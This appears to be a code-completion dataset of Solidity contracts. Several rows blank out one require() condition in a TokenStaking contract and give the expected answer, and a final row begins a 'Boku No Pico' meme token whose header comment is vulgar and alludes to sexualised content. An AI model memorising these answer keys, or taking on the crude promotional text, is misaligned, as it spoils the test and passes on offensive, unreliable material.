function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
require(!_isStakingPaused, "TokenStaking: staking is paused");
uint256 currentTime = getCurrentTime();
require(currentTime > _stakeStartDate, "TokenStaking: staking not started yet");
require(currentTime < _stakeEndDate, "TokenStaking: staking ended");
require(_totalStakedTokens + _amount <= _maxStakeTokenLimit, "TokenStaking: max staking token limit reached");
require(_amount > 0, "TokenStaking: stake amount must be non-zero");
require(
_amount >= _minimumStakingAmount,
"TokenStaking: stake amount must greater than minimum amount allowed"
);
if (_users[user_].stakeAmount != 0) {
_calculateRewards(user_);
} else {
_users[user_].lastRewardCalculationTime = currentTime;
_totalUsers += 1;
}
_users[user_].stakeAmount += _amount;
_users[user_].lastStakeTime = currentTime;
_totalStakedTokens += _amount;
require(<FILL_ME>)
emit Stake(user_, _amount);
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| IERC20(_tokenAddress).transferFrom(msg.sender,address(this),_amount),"TokenStaking: failed to transfer tokens" | 63,212 | IERC20(_tokenAddress).transferFrom(msg.sender,address(this),_amount) |
"TokenStaking: not a stakeholder" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
address user = msg.sender;
require(_amount != 0, "TokenStaking: amount should be non-zero");
require(<FILL_ME>)
require(_users[user].stakeAmount >= _amount, "TokenStaking: not enough stake to unstake");
// Calculate User's rewards until now
_calculateRewards(user);
uint256 feeEarlyUnstake;
if (getCurrentTime() <= _users[user].lastStakeTime + _stakeDays) {
feeEarlyUnstake = ((_amount * _earlyUnstakeFeePercentage) / PERCENTAGE_DENOMINATOR);
emit EarlyUnStakeFee(user, feeEarlyUnstake);
}
uint256 amountToUnstake = _amount - feeEarlyUnstake;
_users[user].stakeAmount -= _amount;
_totalStakedTokens -= _amount;
if (_users[user].stakeAmount == 0) {
// delete _users[user];
_totalUsers -= 1;
}
require(IERC20(_tokenAddress).transfer(user, amountToUnstake), "TokenStaking: failed to transfer");
emit UnStake(user, _amount);
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| this.isStakeHolder(user),"TokenStaking: not a stakeholder" | 63,212 | this.isStakeHolder(user) |
"TokenStaking: not enough stake to unstake" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
address user = msg.sender;
require(_amount != 0, "TokenStaking: amount should be non-zero");
require(this.isStakeHolder(user), "TokenStaking: not a stakeholder");
require(<FILL_ME>)
// Calculate User's rewards until now
_calculateRewards(user);
uint256 feeEarlyUnstake;
if (getCurrentTime() <= _users[user].lastStakeTime + _stakeDays) {
feeEarlyUnstake = ((_amount * _earlyUnstakeFeePercentage) / PERCENTAGE_DENOMINATOR);
emit EarlyUnStakeFee(user, feeEarlyUnstake);
}
uint256 amountToUnstake = _amount - feeEarlyUnstake;
_users[user].stakeAmount -= _amount;
_totalStakedTokens -= _amount;
if (_users[user].stakeAmount == 0) {
// delete _users[user];
_totalUsers -= 1;
}
require(IERC20(_tokenAddress).transfer(user, amountToUnstake), "TokenStaking: failed to transfer");
emit UnStake(user, _amount);
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| _users[user].stakeAmount>=_amount,"TokenStaking: not enough stake to unstake" | 63,212 | _users[user].stakeAmount>=_amount |
"TokenStaking: failed to transfer" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
address user = msg.sender;
require(_amount != 0, "TokenStaking: amount should be non-zero");
require(this.isStakeHolder(user), "TokenStaking: not a stakeholder");
require(_users[user].stakeAmount >= _amount, "TokenStaking: not enough stake to unstake");
// Calculate User's rewards until now
_calculateRewards(user);
uint256 feeEarlyUnstake;
if (getCurrentTime() <= _users[user].lastStakeTime + _stakeDays) {
feeEarlyUnstake = ((_amount * _earlyUnstakeFeePercentage) / PERCENTAGE_DENOMINATOR);
emit EarlyUnStakeFee(user, feeEarlyUnstake);
}
uint256 amountToUnstake = _amount - feeEarlyUnstake;
_users[user].stakeAmount -= _amount;
_totalStakedTokens -= _amount;
if (_users[user].stakeAmount == 0) {
// delete _users[user];
_totalUsers -= 1;
}
require(<FILL_ME>)
emit UnStake(user, _amount);
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| IERC20(_tokenAddress).transfer(user,amountToUnstake),"TokenStaking: failed to transfer" | 63,212 | IERC20(_tokenAddress).transfer(user,amountToUnstake) |
"TokenStaking: failed to transfer" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
_calculateRewards(msg.sender);
uint256 rewardAmount = _users[msg.sender].rewardAmount;
require(rewardAmount > 0, "TokenStaking: no reward to claim");
require(<FILL_ME>)
_users[msg.sender].rewardAmount = 0;
_users[msg.sender].rewardsClaimedSoFar += rewardAmount;
emit ClaimReward(msg.sender, rewardAmount);
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| IERC20(_tokenAddress).transfer(msg.sender,rewardAmount),"TokenStaking: failed to transfer" | 63,212 | IERC20(_tokenAddress).transfer(msg.sender,rewardAmount) |
"Exceeds the maxWalletSize" | /**
*Submitted for verification at Etherscan.io on 2023-08-10
*/
// SPDX-License-Identifier: MIT
/**
Boku no Pico
Man this shit is so wrong in so many motherfucking levels yo…I was talking to one of my white friends and he sent me 3 videos with the name only labeled "Boku" I said to this dude, What's this shit? He just giggled and said "Just watch them and MAKE SURE NOBODY IS AROUND YOU WHEN WATCHING IT!" Then I thought it was some weird porno or some strange shit but as I watched the first video, I was like "Yo…..what the fuck.." THEN IT CONTINUED and I was like "Yoooooooooooooooooooooooo……." THEN THEY GOT IN THE MOTHERFUCKING CAR AND THEN I SAID "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
Website: https://www.bokutoken.com/
Twitter: https://twitter.com/BOKUNOPICOERC
Telegram:https://t.me/BokuErc
**/
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BOKU is Context, IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint8 private buyFee;
uint8 private sellFee;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Boku No Pico";
string private constant _symbol = unicode"BOKU";
uint256 private maxTxAmount = _tTotal * 3 / 100;
uint256 private maxWalletSize = _tTotal * 3 / 100;
uint256 private swapThreshold = _tTotal * 5 / 1000;
uint256 private maxSwapBack = _tTotal * 3 / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool public startTrading;
bool private inSwap;
